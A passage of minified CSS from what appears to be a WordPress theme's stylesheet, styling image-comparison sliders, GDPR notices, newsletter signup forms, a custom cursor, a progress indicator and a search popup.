(max-width:1024px){.pcct-ac--tablet-vertical .penci-ct-accordion-item:after{width:100%!important;left:0;right:auto!important;top:auto;height:var(--divider-width,5px);bottom:calc(var(--divider-bottom,-5px)/ 2)}}@media only screen and (max-width:767px){.pcct-ac--mobile-vertical .penci-ct-accordion-item:after{width:100%!important;left:0;right:auto!important;top:auto;height:var(--divider-width,5px);bottom:calc(var(--divider-bottom,-5px)/ 2)}.pccthide-m{display:none!important}}.penciimg-compare{position:relative}.penciimg-compare .icv__icv--horizontal img{height:100%;max-width:inherit}.penciimg-compare .penciimg-compare-overlay:before{content:'';position:absolute;height:100%;width:100%;top:0;left:0;background:rgba(55,55,5,.25);z-index:3}.penciimg-compare .icv{position:relative;overflow:hidden;cursor:row-resize}.penciimg-compare .icv__icv--vertical{cursor:row-resize}.penciimg-compare .icv__icv--horizontal{cursor:col-resize}.penciimg-compare .icv__img{pointer-events:none;-o-user-select:none;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;user-select:none;max-width:none;width:100%;margin:0!important;padding:0!important;border:0!important;border-radius:0!important;top:0;display:block}.penciimg-compare .icv__is--fluid .icv__img{display:none}.penciimg-compare .icv__img-a{height:auto;position:static;z-index:1;left:0}.penciimg-compare .icv__img-b{height:100%;position:absolute;z-index:2;left:auto;right:0;width:auto}.penciimg-compare .icv__icv--vertical .icv__img-b{width:100%;height:auto}.penciimg-compare .icv__imposter{z-index:4;position:absolute;top:0;left:0;width:100%;height:100%}.penciimg-compare .icv__wrapper{position:absolute;width:100%;height:100%;right:0;top:0;overflow:hidden;background-size:cover;background-position:center center;z-index:3}.penciimg-compare .icv__icv--vertical .icv__wrapper,.penciimg-compare .icv__is--fluid .icv__wrapper{width:100%!important}.penciimg-compare .icv__icv--horizontal .icv__wrapper,.penciimg-compare .icv__is--fluid .icv__wrapper{height:100%!important}.penciimg-compare .icv__fluidwrapper{background-size:cover;background-position:center;position:absolute;top:0;left:0;width:100%;height:100%}.penciimg-compare .icv__control{position:absolute;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;height:100%;top:0;z-index:5}.penciimg-compare .icv__icv--vertical .icv__control{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;left:0;width:100%}.penciimg-compare .icv__control-line{height:50%;width:2px;z-index:6}.penciimg-compare .icv__icv--vertical .icv__control-line{width:50%}.penciimg-compare .icv__theme-wrapper{width:100%;height:100%;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-ms-flex-align:center;align-items:center;position:absolute;-webkit-transition:all .1s ease-out 0s;transition:all .1s ease-out 0s;z-index:5}.penciimg-compare .icv__icv--vertical .icv__theme-wrapper{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.penciimg-compare .icv__arrow-wrapper{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-transition:all .1s ease-out 0s;transition:all .1s ease-out 0s}.penciimg-compare .icv__arrow-a{-webkit-transform:scale(1.5) rotateZ(180deg);transform:scale(1.5) rotateZ(180deg);height:20px;width:20px;-webkit-filter:drop-shadow(0 3px 5px rgba(0, 0, 0, .33));filter:drop-shadow(0 -3px 5px rgba(0, 0, 0, .33))}.penciimg-compare .icv__arrow-b{-webkit-transform:scale(1.5) rotateZ(0);transform:scale(1.5) rotateZ(0);height:20px;width:20px;-webkit-filter:drop-shadow(0 3px 5px rgba(0, 0, 0, .33));filter:drop-shadow(0 3px 5px rgba(0, 0, 0, .33))}.penciimg-compare .icv__circle{width:50px;height:50px;-webkit-box-sizing:border-box;box-sizing:border-box;-ms-flex-negative:0;flex-shrink:0;border-radius:999px}.penciimg-compare .icv__label{position:absolute;z-index:12;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;color:var(--pcbg-cl);font-size:12px;background:rgba(255,255,255,.3);padding:6px 12px;font-family:var(--pchead-font);font-weight:var(--pchead-wei);text-transform:uppercase}.penciimg-compare .icv__label.vertical{bottom:auto;left:50%;transform:translateX(-50%)}.penciimg-compare .icv__icv--horizontal .icv__label{top:50%;transform:translateY(-50%)}.penciimg-compare .icv__label.on-hover{opacity:0;-webkit-transition:.3s cubic-bezier(.62,.24,.6,1.35);transition:.3s cubic-bezier(.62,.24,.6,1.35)}.penciimg-compare .icv:hover .icv__label.on-hover{opacity:1}.penciimg-compare .icv__label-before{left:15px}.penciimg-compare .icv__label-after{right:15px}.penciimg-compare .icv__label-before.vertical{top:15px}.penciimg-compare .icv__label-after.vertical{bottom:15px;right:auto}.penciimg-compare .icv__body{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.penci-wrap-gprd-law.style-2 .penci-gprd-law{max-width:470px;margin:30px;padding:20px 30px;background:#444;box-shadow:1px 3px 6px rgba(50,50,50,.25)}.penci-wrap-gprd-law.style-2 .penci-gprd-law .penci-gprd-law-content{display:block;margin-bottom:20px;color:#fff;font-size:16px;line-height:1.6}.penci-wrap-gprd-law.style-2 .penci-gprd-accept,.penci-wrap-gprd-law.style-2 .penci-gprd-law{line-height:20px}.penci-wrap-gprd-law.style-2 .penci-gprd-accept{margin-left:0}.penci-wrap-gprd-law.style-2 .penci-gprd-law .penci-gprd-more{color:#fff}.penci-wrap-gprd-law.style-2.penci-wrap-gprd-law-close .penci-gprd-law{bottom:-30px}.penci-wrap-gprd-law.style-3 .penci-gprd-law{max-width:470px;margin:30px;padding:20px 30px;background:#eee;box-shadow:8px 8px 0 #444}.penci-wrap-gprd-law.style-3 .penci-gprd-law .penci-gprd-law-content{display:block;margin-bottom:20px;font-size:16px;line-height:1.6}.penci-wrap-gprd-law.style-3 .penci-gprd-accept,.penci-wrap-gprd-law.style-3 .penci-gprd-more{line-height:20px}.penci-wrap-gprd-law.style-3 .penci-gprd-accept{margin-left:0;background:var(--pcaccent-cl)}.penci-wrap-gprd-law.style-3 .penci-gprd-law .penci-gprd-more{color:#fff;background:#000;padding:6px 15px}.penci-wrap-gprd-law.style-3.penci-wrap-gprd-law-close .penci-gprd-law{bottom:-30px}.penci-wrap-gprd-law.style-4 .penci-gprd-law{max-width:470px;margin:30px;padding:20px 30px;background:#fff;border:1px solid var(--pcborder-cl);box-shadow:1px 3px 6px rgba(50,50,50,.25)}.penci-wrap-gprd-law.style-4 .penci-gprd-law .penci-gprd-law-content{display:block;margin-bottom:20px;font-size:16px;line-height:1.6}.penci-wrap-gprd-law.style-4 .penci-gprd-accept,.penci-wrap-gprd-law.style-4 .penci-gprd-more{line-height:20px;display:block}.penci-wrap-gprd-law.style-4 .penci-gprd-accept{margin-left:0}.penci-wrap-gprd-law.style-4 .penci-gprd-more{margin-top:10px}.penci-wrap-gprd-law.style-4.penci-wrap-gprd-law-close .penci-gprd-law{bottom:-30px}.penci-wrap-gprd-law:not(.style-1) .penci-gdrd-show{right:auto;left:30px}.penci-a-post-subtitle{margin:0 0 10px;font-weight:var(--pchead-wei)}.penci-a-post-subtitle.pcloop{pointer-events:none;cursor:not-allowed;margin:8px 0 -2px;font-size:105%;line-height:1.25;font-weight:var(--pchead-wei);font-family:var(--pchead-font)}.penci-ajax-more-button.disable{pointer-events:none;cursor:not-allowed}.penci-toc-wrapper .penci-el-toc-table-of-content ul:not(:last-child),.post-entry .penci-toc-wrapper .penci-el-toc-table-of-content ul:not(:last-child){border-bottom:1px solid var(--pcborder-cl)}.penci-toc-wrapper .penci-el-toc-table-of-content ul li,.post-entry .penci-toc-wrapper .penci-el-toc-table-of-content ul li{padding-top:10px;padding-bottom:10px}.penci-toc-wrapper .penci-el-toc-table-of-content ul li:not(:last-child),.post-entry .penci-toc-wrapper .penci-el-toc-table-of-content ul li:not(:last-child){border-bottom:1px solid var(--pcborder-cl)}.penci-toc-wrapper .penci-el-toc-table-of-content ul li a,.post-entry .penci-toc-wrapper .penci-el-toc-table-of-content ul li a{text-decoration:none;color:var(--pcheading-cl)}.penci-toc-wrapper .penci-el-toc-table-of-content ul li a:hover,.post-entry .penci-toc-wrapper .penci-el-toc-table-of-content ul li a:hover{color:var(--pcaccent-cl)}.penci-toc-wrapper .penci-el-toc-table-of-content ul ul,.post-entry .penci-toc-wrapper .penci-el-toc-table-of-content ul ul{padding-left:20px}.penci-el-toc-wrapper,.post-entry .penci-el-toc-wrapper{margin-bottom:0}.pcmarquee-slider .swiper-wrapper .swiper-slide,.penci-owl-carousel.pcmarquee-slider:not(.penci-owl-loaded)>.swiper-wrapper>div{display:inline-block;width:auto;height:auto;margin-right:30px}.pcmarquee-slider .swiper-wrapper .swiper-slide:last-child,.penci-owl-carousel.pcmarquee-slider:not(.penci-owl-loaded)>.swiper-wrapper>div:last-child{margin-right:0}.pcmarquee-slider .swiper-wrapper{overflow:hidden}.pencisctn-sticky.pencisctn-active{position:fixed;top:0;left:0;right:0;z-index:9999;transition:all .3s ease-in-out}.pencisctn-sticky.pencisctn-footer.pencisctn-active{top:auto;bottom:0}body.admin-bar .pencisctn-sticky.pencisctn-header.pencisctn-active{top:32px}.penci-mailchimp-s5 .widget_mc4wp_form_widget,.penci-mc4wp-widget.penci-mailchimp-s5 .mc4wp-form-fields{--iconsize:70px;border:5px solid var(--pcborder-cl);padding:40px 20px 20px;position:relative;margin-top:var(--iconsize)}.penci-mailchimp-s5 .widget_mc4wp_form_widget:before,.penci-mc4wp-widget.penci-mailchimp-s5 .mc4wp-form-fields:before{content:"\f0e0";font-family:FontAwesome;display:flex;justify-content:center;align-items:center;font-size:28px;color:#fff;width:var(--iconsize);height:var(--iconsize);background:var(--pcaccent-cl);position:absolute;border-radius:50%;top:calc(-.5 * var(--iconsize) - 5px);left:50%;right:50%;transform:translateX(-50%)}.penci-mailchimp-s5 .mc4wp-form input[type=submit]:not(:hover){background:var(--pcaccent-cl);color:var(--pcbg-cl)}.penci-mailchimp-s6 .widget_mc4wp_form_widget,.penci-mc4wp-widget.penci-mailchimp-s6 .mc4wp-form-fields{--iconsize:70px;border:1px solid var(--pcborder-cl);padding:40px 20px 20px;position:relative;margin-top:var(--iconsize);box-shadow:0 0 14px rgba(0,0,0,.04)}.penci-mailchimp-s6 .mc4wp-form{max-width:100%}.penci-mailchimp-s6 .widget_mc4wp_form_widget:before,.penci-mc4wp-widget.penci-mailchimp-s6 .mc4wp-form-fields:before{content:"";background:url(images/mailchimp/s6.svg);background-size:auto 60px;background-repeat:no-repeat;background-position:center center;width:81px;height:60px;position:absolute;top:calc(-.5 * var(--iconsize) - 5px);left:50%;right:50%;transform:translateX(-50%) rotate(-22deg)}.penci-mailchimp-s6 .mc4wp-form input[type=submit]:not(:hover){background:#ffbc2c;color:var(--pcbg-cl)}.penci-mailchimp-s6 .mc4wp-form-fields{display:flex;flex-wrap:wrap;flex-direction:row;column-gap:10px}.penci-mailchimp-s6 .mc4wp-form-fields input{margin-bottom:0}.penci-mailchimp-s6 .mc4wp-form-fields>p{flex:1}.penci-mailchimp-s6 .mc4wp-form-fields .mdes,.penci-mailchimp-s6 .mc4wp-form-fields>p:last-child{flex:100%}.penci-mailchimp-s7 .widget_mc4wp_form_widget,.penci-mc4wp-widget.penci-mailchimp-s7 .mc4wp-form-fields{--iconsize:70px;border:1px solid var(--pcborder-cl);padding:0 20px 20px;position:relative;margin-top:var(--iconsize);border-top:5px solid #000}.penci-mc4wp-widget.penci-mailchimp-s7 .mc4wp-form-fields{margin-top:0}.penci-mailchimp-s7 .widget_mc4wp_form_widget:before,.penci-mc4wp-widget.penci-mailchimp-s7 .mc4wp-form-fields:before{content:"\f0e0";font-family:FontAwesome;display:flex;justify-content:center;align-items:center;font-size:28px;color:#fff;width:var(--iconsize);height:var(--iconsize);background:#000;top:calc(-.5 * var(--iconsize) - 5px);margin:0 auto 40px}.penci-mailchimp-s7 .mc4wp-form input[type=submit]:not(:hover){background:var(--pcaccent-cl);color:var(--pcbg-cl)}.penci-mailchimp-s7 .mc4wp-form input[type=submit]:not(:hover){background:#000}.penci-mailchimp-s7 .mc4wp-form-fields{display:flex;flex-wrap:wrap;flex-direction:row;column-gap:10px}.penci-mailchimp-s7 .mc4wp-form-fields input{margin-bottom:0}.penci-mailchimp-s7 .mc4wp-form-fields>p{flex:1}.penci-mailchimp-s7 .mc4wp-form-fields .mdes,.penci-mailchimp-s7 .mc4wp-form-fields>p:last-child{flex:100%}.penci-mailchimp-s8 .widget_mc4wp_form_widget,.penci-mc4wp-widget.penci-mailchimp-s8 .mc4wp-form-fields{--iconsize:70px;border:1px solid var(--pcborder-cl);padding:20px;position:relative;margin-top:var(--iconsize);border-top:5px solid #ffcb5a}.penci-mc4wp-widget.penci-mailchimp-s8 .mc4wp-form-fields{margin-top:0}.penci-mailchimp-s8 .mc4wp-form input[type=submit]:not(:hover){background:var(--pcaccent-cl);color:var(--pcbg-cl)}.penci-mailchimp-s8 .mc4wp-form input[type=submit]:not(:hover){background:#ffcb5a}.penci-mailchimp-s9 .widget_mc4wp_form_widget,.penci-mc4wp-widget.penci-mailchimp-s9 .mc4wp-form-fields{border:1px solid var(--pcborder-cl);padding:20px;position:relative;box-shadow:0 0 14px rgba(0,0,0,.04)}.penci-mailchimp-s9 .mc4wp-form input[type=submit]:not(:hover){background:var(--pcaccent-cl);color:var(--pcbg-cl)}.penci-mailchimp-s9 .mc4wp-form-fields{display:flex;flex-wrap:wrap;flex-direction:row;column-gap:0}.penci-mc4wp-widget.penci-mailchimp-s9 .mc4wp-form-fields{flex-direction:column}.penci-mailchimp-s9 .mc4wp-form-fields input{margin-bottom:0}.penci-mailchimp-s9 .mc4wp-form-fields>p{flex:1}.penci-mailchimp-s9 .mc4wp-form-fields .mdes{flex:100%}.penci-mailchimp-s10 .widget_mc4wp_form_widget,.penci-mc4wp-widget.penci-mailchimp-s10 .mc4wp-form-fields{border:1px solid var(--pcborder-cl);border-top:0;padding:20px;position:relative;box-shadow:0 0 14px rgba(0,0,0,.04)}.penci-mc4wp-widget.penci-mailchimp-s10 .mc4wp-form-fields{padding:20px}.penci-mailchimp-s10 .widget_mc4wp_form_widget:before,.penci-mc4wp-widget.penci-mailchimp-s10 .mc4wp-form-fields:before{position:absolute;top:-1px;left:-1px;right:-1px;height:4px;background:#fff;background:repeating-linear-gradient(-45deg,#e91c2e,#a01521 19px,transparent 10px,transparent 30px,#7337df 20px,#7337df 46px,transparent 40px,transparent 57px);background-clip:border-box;background-clip:padding-box;content:""}.penci-mailchimp-s10 .mc4wp-form input[type=submit]:not(:hover){background:#e91c2e;color:var(--pcbg-cl)}.penci-mailchimp-s11 .widget_mc4wp_form_widget,.penci-mc4wp-widget.penci-mailchimp-s11 .mc4wp-form-fields{border:1px solid var(--pcborder-cl);position:relative;box-shadow:0 0 14px rgba(0,0,0,.04)}.penci-mc4wp-widget.penci-mailchimp-s11 .mc4wp-form-fields{padding-bottom:20px}.penci-mailchimp-s11 .widget_mc4wp_form_widget:before,.penci-mc4wp-widget.penci-mailchimp-s11 .mc4wp-form-fields:before{content:"";background-image:url(images/mailchimp/s11.svg);width:100%;display:block;background-repeat:no-repeat;background-position:center center;background-color:#fffbf1;padding:120px 0;margin-bottom:40px;border-bottom:1px solid var(--pcborder-cl)}.penci-mc4wp-widget.penci-mailchimp-s11 .mc4wp-form-fields:before{background-size:auto 120px}.penci-mc4wp-widget.penci-mailchimp-s11 .mc4wp-form-fields p{padding-left:20px;padding-right:20px}.penci-mailchimp-s11 .mc4wp-form input[type=submit]:not(:hover){background:#e9ad25;color:var(--pcbg-cl)}.penci-mailchimp-s12 .widget_mc4wp_form_widget,.penci-mc4wp-widget.penci-mailchimp-s12 .mc4wp-form-fields{border:1px solid var(--pcborder-cl);position:relative;box-shadow:0 0 14px rgba(0,0,0,.04);background:#f2ffff;padding:40px 0 0}.penci-mailchimp-s12 .widget_mc4wp_form_widget:before,.penci-mc4wp-widget.penci-mailchimp-s12 .mc4wp-form-fields:before{content:"";background-image:url(images/mailchimp/s12.svg);width:100%;display:block;background-repeat:no-repeat;background-position:center center;padding:140px 0;margin-bottom:40px}.penci-mc4wp-widget.penci-mailchimp-s12 .mc4wp-form-fields:before{background-size:auto 120px;padding:80px 0}.penci-mailchimp-s12 .mc4wp-form input[type=submit]:not(:hover){background:#f3688d;color:var(--pcbg-cl)}.penci-mailchimp-s12 .mc4wp-form-fields{display:flex;flex-wrap:wrap;flex-direction:row;column-gap:0}.penci-mc4wp-widget.penci-mailchimp-s12 .mc4wp-form-fields{flex-direction:column;padding-bottom:20px}.penci-mc4wp-widget.penci-mailchimp-s12 .mc4wp-form-fields p{padding-left:20px;padding-right:20px}.penci-mailchimp-s12 .mc4wp-form-fields input{margin-bottom:0}.penci-mailchimp-s12 .mc4wp-form-fields>p{flex:1}.penci-mailchimp-s12 .mc4wp-form-fields .mdes{flex:100%}.penci-mailchimp-s13 .widget_mc4wp_form_widget,.penci-mc4wp-widget.penci-mailchimp-s13 .mc4wp-form{border:1px solid var(--pcborder-cl);position:relative;box-shadow:0 0 14px rgba(0,0,0,.04);padding-bottom:40px}.penci-mc4wp-widget.penci-mailchimp-s13 .mc4wp-form{padding:0}.penci-mc4wp-widget.penci-mailchimp-s13 .mc4wp-form-fields{padding:20px}.penci-mailchimp-s13 .widget_mc4wp_form_widget:before,.penci-mc4wp-widget.penci-mailchimp-s13 .mc4wp-form:before{content:"";background-image:url(images/mailchimp/s13.svg);width:100%;display:block;background-repeat:no-repeat;background-position:center center;padding:140px 0;margin-bottom:40px;background-color:#cbf8ff}.penci-mc4wp-widget.penci-mailchimp-s13 .mc4wp-form:before{padding:120px 0;background-size:150px auto;margin-bottom:0}.penci-mailchimp-s13 .mc4wp-form input[type=submit]:not(:hover){background:#c52228;color:var(--pcbg-cl)}.penci-mailchimp-s14 .widget_mc4wp_form_widget,.penci-mc4wp-widget.penci-mailchimp-s14 .mc4wp-form-fields{border:1px solid var(--pcborder-cl);position:relative;box-shadow:0 0 14px rgba(0,0,0,.04);padding-bottom:40px}.penci-mailchimp-s14 .widget_mc4wp_form_widget:before,.penci-mc4wp-widget.penci-mailchimp-s14 .mc4wp-form-fields:before{content:"";background-image:url(images/mailchimp/s14.svg);width:100%;display:block;background-repeat:no-repeat;background-position:center center;padding:120px 0;margin-bottom:40px}.penci-mc4wp-widget.penci-mailchimp-s14 .mc4wp-form-fields:before{background-size:auto 110px;padding:60px 0;margin-bottom:0}.penci-mailchimp-s14 .mc4wp-form input[type=submit]:not(:hover){background:#000;color:var(--pcbg-cl)}.penci-mailchimp-s14 .mc4wp-form-fields{display:flex;flex-wrap:wrap;flex-direction:row;column-gap:0}.penci-mc4wp-widget.penci-mailchimp-s14 .mc4wp-form-fields{flex-direction:column}.penci-mc4wp-widget.penci-mailchimp-s14 .mc4wp-form-fields p{padding-left:20px;padding-right:20px}.penci-mailchimp-s14 .mc4wp-form-fields input{margin-bottom:0}.penci-mailchimp-s14 .mc4wp-form-fields>p{flex:1}.penci-mailchimp-s14 .mc4wp-form-fields .mdes{flex:100%}.penci-mailchimp-s15 .widget_mc4wp_form_widget,.penci-mc4wp-widget.penci-mailchimp-s15 .mc4wp-form-fields{border:1px solid var(--pcborder-cl);position:relative;box-shadow:0 0 14px rgba(0,0,0,.04);padding:20px 20px 30px;background:#000;color:#fff}.penci-mailchimp-s15 .mc4wp-form input{border-color:#333;color:#fff}.penci-mailchimp-s15 .mc4wp-form input[type=submit]:not(:hover){background:#208a4f;color:var(--pcbg-cl)}.penci-mailchimp-s15 .mc4wp-form-fields{display:flex;flex-wrap:wrap;flex-direction:row;column-gap:0}.penci-mc4wp-widget.penci-mailchimp-s15 .mc4wp-form-fields{flex-direction:column}.penci-mailchimp-s15 .mc4wp-form-fields input{margin-bottom:0}.penci-mailchimp-s15 .mc4wp-form input:not([type=submit]){border-right:0}.penci-mailchimp-s15 .mc4wp-form-fields>p{flex:1}.penci-mailchimp-s15 .mc4wp-form-fields .mdes{flex:100%}.penci-el-mailchimp.penci-mailchimp-s8 .widget_mc4wp_form_widget{margin-top:0}.penci-el-mailchimp.penci-mailchimp-s12 .mc4wp-form-fields,.penci-el-mailchimp.penci-mailchimp-s14 .mc4wp-form-fields,.penci-el-mailchimp.penci-mailchimp-s9 .mc4wp-form-fields{column-gap:20px}.penci-el-mailchimp.penci-mailchimp-s12 .mc4wp-form-fields>p.msubmit,.penci-el-mailchimp.penci-mailchimp-s14 .mc4wp-form-fields>p.msubmit,.penci-el-mailchimp.penci-mailchimp-s9 .mc4wp-form-fields>p.msubmit{flex:100%}.penci-el-mailchimp.penci-mailchimp-s15 .mc4wp-form{max-width:550px}.penci-el-mailchimp.penci-mailchimp-s11 .widget_mc4wp_form_widget:before,.penci-el-mailchimp.penci-mailchimp-s12 .widget_mc4wp_form_widget:before,.penci-el-mailchimp.penci-mailchimp-s13 .widget_mc4wp_form_widget:before,.penci-el-mailchimp.penci-mailchimp-s14 .widget_mc4wp_form_widget:before{background-size:120px auto}.penci-el-mailchimp.penci-mailchimp-s12 .widget_mc4wp_form_widget:before,.penci-el-mailchimp.penci-mailchimp-s14 .widget_mc4wp_form_widget:before{padding-top:80px;padding-bottom:80px}.penci-el-mailchimp.penci-mailchimp-s13 .widget_mc4wp_form_widget,.penci-el-mailchimp.penci-mailchimp-s14 .widget_mc4wp_form_widget{padding-bottom:0}.penci-el-mailchimp.penci-mailchimp-s11 .mc4wp-form,.penci-el-mailchimp.penci-mailchimp-s12 .mc4wp-form,.penci-el-mailchimp.penci-mailchimp-s13 .mc4wp-form,.penci-el-mailchimp.penci-mailchimp-s14 .mc4wp-form{margin-bottom:30px}.penci_az_taxonomy_listing_head{background:var(--pcaccent-cl);padding:15px 10px;margin-bottom:40px}.penci_az_taxonomy_listing_head.style-2{background:0 0!important;padding:0}.penci_az_taxonomy_listing_head ul{display:flex;flex-wrap:wrap;flex-direction:row;justify-content:center;column-gap:10px}.post-entry .penci_az_taxonomy_listing_head ul,.post-entry .penci_az_taxonomy_listing_head ul li{list-style:none;line-height:initial;margin:0;padding:0}.penci_az_taxonomy_listing_head a,.post-entry .penci_az_taxonomy_listing_head ul li a{color:#fff;font-family:var(--pchead-font);font-weight:var(--pchead-wei);font-size:20px;text-transform:uppercase}.penci_az_taxonomy_listing_head.style-2 a{padding:0;background:var(--pcaccent-cl);width:36px;display:inline-block;height:36px;line-height:36px;text-align:center}.penci_az_taxonomy_listing{--col:3;--gap:30px;display:flex;flex-wrap:wrap;flex-direction:row;column-gap:var(--gap);row-gap:var(--gap)}.penci_az_taxonomy_item{width:calc((100% - (var(--gap) * (var(--col) - 1)))/ var(--col))}.penci_az_taxonomy_listing h3{padding-bottom:10px;margin-bottom:30px;border-bottom:5px solid var(--pcheading-cl);font-size:22px}.penci_az_taxonomy_item ul,.penci_az_taxonomy_item ul li{list-style:none;padding:0;margin:0}.penci_az_taxonomy_item ul li:not(:last-child){border-bottom:1px solid var(--pcborder-cl);padding-bottom:15px;margin-bottom:15px}.penci_az_taxonomy_item a{color:var(--pctext-cl);display:flex;justify-content:space-between}.penci_az_taxonomy_item .pcaz_tcount{color:var(--pcmeta-cl)}.item-content[data-excerpt-link]:hover{cursor:pointer}.penci-cc-cursor{--pccrs-cccr:3.75rem;--pccrs-ccsm:2rem;--pccrs-ccesm:1.25rem;--pccrs-ccinner:0.5rem;--pccrs-cn:#000;--pccrs-bw:1px;--pccrs-bs:solid}.penci-cc-cursor .circle-cursor{position:fixed;left:0;top:0;pointer-events:none;transform:translateZ(0);visibility:hidden;border-radius:50%}.penci-cc-cursor .penci-ccircle-cinner{margin-left:calc(var(--pccrs-ccinner)/ 2 * (-1));margin-top:calc(var(--pccrs-ccinner)/ 2 * (-1));width:var(--pccrs-ccinner);height:var(--pccrs-ccinner);z-index:10000001;background-color:var(--pcaccent-cl)}.penci-cc-cursor .penci-ccircle-cinner.penci-clinkh{margin-left:calc(var(--pccrs-ccesm)/ 2 * (-1));margin-top:calc(var(--pccrs-ccesm)/ 2 * (-1));width:var(--pccrs-ccesm);height:var(--pccrs-ccesm);background-color:var(--pcaccent-cl);opacity:.5}.penci-cc-cursor .penci-ccircle-couter{margin-left:calc(var(--pccrs-ccsm)/ 2 * (-1));margin-top:calc(var(--pccrs-ccsm)/ 2 * (-1));width:var(--pccrs-ccsm);height:var(--pccrs-ccsm);border:var(--pccrs-bw) var(--pccrs-bs) var(--pcaccent-cl);z-index:10000000;opacity:.5;transition:all 125ms ease-out}.penci-cc-cursor .cursor-link.penci-ccircle-cinner{background:0 0!important}.penci-cc-cursor .cursor-link.penci-ccircle-cinner.penci-clinkh{opacity:1}.penci-cc-cursor .cursor-link.penci-ccircle-cinner svg{fill:var(--pcbg-cl)}.penci-cc-cursor .cursor-link.penci-ccircle-couter.penci-clinkh{margin-left:calc(var(--pccrs-cccr)/ 2 * (-1));margin-top:calc(var(--pccrs-cccr)/ 2 * (-1));width:var(--pccrs-cccr);height:var(--pccrs-cccr);background-color:color-mix(in srgb,var(--pccrs-cn) 75%,transparent);border:none}.penci-cc-cursor a[data-cursor-class]{cursor:none}.pencihd-progress-container{position:fixed;bottom:80px;right:20px;width:40px;height:40px;z-index:1000}.pencihd-progress-container svg{transform:rotate(-90deg);width:100%;height:100%}.pencihd-progress-container circle{fill:none;stroke-width:5;stroke-linecap:round}.pencihd-progress-container circle.bg{stroke:#ddd}.pencihd-progress-container circle.progress{stroke:var(--pcaccent-cl);stroke-dasharray:100;stroke-dashoffset:100;transition:stroke-dashoffset .2s ease-out}body.pczoomt-effect .grid-mixed .thumbnail,body.pczoomt-effect .penci-grid li .item>.thumbnail,body.pczoomt-effect .penci-masonry .item-masonry>.thumbnail,body.pczoomt-effect .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image,body.pczoomt-effect .standard-post-image,body.pczoomt-effect .widget ul.side-newsfeed li .side-item .side-image{overflow:hidden}body.pczoomt-effect .grid-mixed .thumbnail .penci-image-holder,body.pczoomt-effect .penci-grid li .item>.thumbnail .penci-image-holder,body.pczoomt-effect .penci-masonry .item-masonry>.thumbnail .penci-image-holder,body.pczoomt-effect .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a,body.pczoomt-effect .standard-post-image>a img,body.pczoomt-effect .widget ul.side-newsfeed li .side-item .side-image a{transition:.5s all ease-in-out}body.pczoomt-effect .grid-mixed .thumbnail:hover .penci-image-holder,body.pczoomt-effect .penci-grid li .item>.thumbnail:hover .penci-image-holder,body.pczoomt-effect .penci-masonry .item-masonry>.thumbnail:hover .penci-image-holder,body.pczoomt-effect .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a:hover,body.pczoomt-effect .standard-post-image>a:hover img,body.pczoomt-effect .widget ul.side-newsfeed li .side-item .side-image a:hover{transform:scale(1.2)}.penci-visitor-count{position:fixed;max-width:calc(100% - 60px);padding:10px 20px 10px 35px;border-radius:5px;box-shadow:0 0 8px rgba(55,55,55,.2);opacity:0;transition:.3 all ease-in-out;transform:translateY(-30px);text-align:left;z-index:999;font-size:12px;font-weight:700;background:url(images/fire.svg) 10px center;background-size:20px auto;background-repeat:no-repeat;background-color:#fff}.penci-visitor-count.active{opacity:1;transform:translateY(0)}.penci-visitor-count.bottom-left{bottom:30px;left:30px}.penci-visitor-count.bottom-right{bottom:30px;right:30px}.penci-visitor-count.top-right{top:30px;right:30px}.penci-visitor-count.top-left{top:30px;left:30px}.penci-article-feedback{background-color:#f1f1f1;margin-top:30px;padding:15px;text-align:center;display:flex;align-items:center;justify-content:center;column-gap:30px}@media only screen and (max-width:767px){.penci-article-feedback{flex-direction:column;row-gap:10px}}.penci-afb-yn{display:flex;flex-wrap:wrap}.penci-afb-yn span{padding:10px 20px;background-color:#fff;color:var(--pcheading-cl);cursor:pointer;font-size:12px;transition:.3s all ease-in-out;display:flex;justify-content:center;align-items:center;column-gap:5px}.penci-afb-yn span svg{width:15px;height:auto;transition:.3s all ease-in-out}.penci-afb-yn span+span svg{transform:rotate(180deg)}.penci-afb-yn span:hover{background-color:var(--pcaccent-cl);color:#fff}.penci-afb-yn span:hover svg{fill:#fff}.penci-afb-yn span i{font-style:normal}.penci-afb-yn span i:before{content:'( '}.penci-afb-yn span i:after{content:' )'}.penci-afb-yn span:active{background-color:var(--pcaccent-cl);color:#fff}.penci-afb-yn span:first-child{margin-right:.4em}.penci-afb-yn span:last-child{margin-left:.4em}.penci-article-feedback.penci-afb-disabled{pointer-events:none}.penci-advcal-label{display:block}.penci-advcal-mouse-disabled{pointer-events:none}.penci-advcal-hidden{display:none}.penci-advcal-form{display:flex;flex-wrap:wrap;flex-direction:row;justify-content:space-between}.penci-advcal-form .penci-advcal-field-wrap{width:100%}.penci-advcal-el-radio-inline-yes{display:flex;flex-wrap:wrap;flex-direction:row;column-gap:15px}.penci-hsubmenu-overlay-wrapper{position:fixed;top:0;left:0;right:0;bottom:0;z-index:999;background:rgba(55,55,55,.8);transition:.3s all ease-in-out;opacity:0;visibility:hidden}body.menu-hover .penci-hsubmenu-overlay-wrapper{opacity:1;visibility:visible}.show-search.pcbds-popup{opacity:0;visibility:hidden;position:fixed;max-width:999px;left:50%;transform:translateX(-50%) translateY(-50%);top:calc(50% - 50px);padding:40px;height:auto;z-index:999999;transition:all .3s ease-in-out;display:block;height:initial!important}.show-search.pcbds-popup.active{top:50%;opacity:1;visibility:visible}.show-search.pcbds-popup form.pc-searchform 